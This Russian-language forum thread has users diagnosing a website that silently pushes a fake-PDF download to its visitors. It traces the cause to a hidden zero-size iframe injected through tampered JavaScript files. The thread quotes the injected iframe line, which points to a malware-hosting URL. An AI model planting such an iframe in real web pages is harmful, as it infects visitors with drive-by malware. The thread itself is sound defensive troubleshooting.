помогите отыскать вирус

[AACC]

При заходе на сайт ripbox_ru (вернее при первом заходе) если сменить IP то выскочит снова



выскакивает в менеджере загрузок файл и просится счкачать - _http://herewereytinj.com/tera/sv777/pdf.php после скачивания получается файл типа s85LQp3BqohkWX8OXrI2d.pdf (каждый раз другой выходит)



как я понял это разновидность pdf.php вируса



я сообщил админу того сайта... он проверил все шаблоны но вируса не обнаружил

проверка тут

http://sitedrill.ru/ripbox.ru

показывает что сайт чистый

но всё таки после каждого смена айпи адреса вылазит этот файл на закачку



куда могли спрятать вирус? как определить?

[Sham]

скрытую загрузку можно по-разному сделать, в т.ч. через редирект...


Цитата AACC:



я сообщил админу того сайта... он проверил все шаблоны но вируса не обнаружил

помогите отыскать вирус

хехе... за такие загрузки ему мб денюжка капает...



тема перенесена из раздела "Вебмастеру"

[AACC]

AACC, здравствуйте. Выполните

Вам нужна помощь? Нам нужны ваши логи! Если их не будет, мы отправим вас в эту тему.

и прикрепите к следующему сообщению полученные логи.

[sanek_freeman]

Sham, тот админ к этим загрузкам не причем... он сам попросил меня чтоб я гдето спросил



sanek_freeman, мне не мой компьютор лечить нужно, а тот сайт

[AACC]

Цитата AACC:



мне не мой компьютор лечить нужно, а тот сайт

помогите отыскать вирус

Зарегистрируйтесь на форуме и оставьте заявку в этой теме -

Проверить сайт на наличие вирусов, все просьбы о проверке оставляйте тут

[Drongo]

вверху, где баннер, каким-то скриптом суется iframe



HTML код:

Код: Выделить всё

<iframe width="0" height="0" src="http://herewereytinj.com/tera/sv777/index.php.htm"></iframe>

очевидно, в него и подгружается pdf со скриптом (который выполняется очевидно только акробат-ридере).



Рекламные скрипты размещает админ, значит, пусть проверяет все скрипты рекламодателей.

[Sham]

вверху, где баннер, каким-то скриптом суется iframe



HTML код:

Код: Выделить всё

<iframe width="0" height="0" src="http://herewereytinj.com/tera/sv777/index.php.htm"></iframe>

очевидно, в него и подгружается pdf со скриптом (который выполняется очевидно только акробат-ридере).



Рекламные скрипты размещает админ, значит, пусть проверяет все скрипты рекламодателей.

[AACC]

спасибо всем за помощь



сайт от вирусов отчистился... вирус скрывался в JS файлах

в данном случаи они скрывались в папке \engine\ajax

menu.js

js_edit.js

dle_ajax.js



админ перелил на оригенальные файлы и вирус исчез



вопрос как можно было их изменить так чтоб дата редактирования не изменилась?



п.с.



кстати есть для примера 1 файл с вирусом

если хотите могу показать



я его проверил касперским и там оказался вирус

[Sham]

Сейчас скрытый фрейм как и был, никуда не исчез, но src редиректит на 404 (удален из удаленного хоста).

[Sham]

Sham, каким способом ты видишь скрытый фрейм?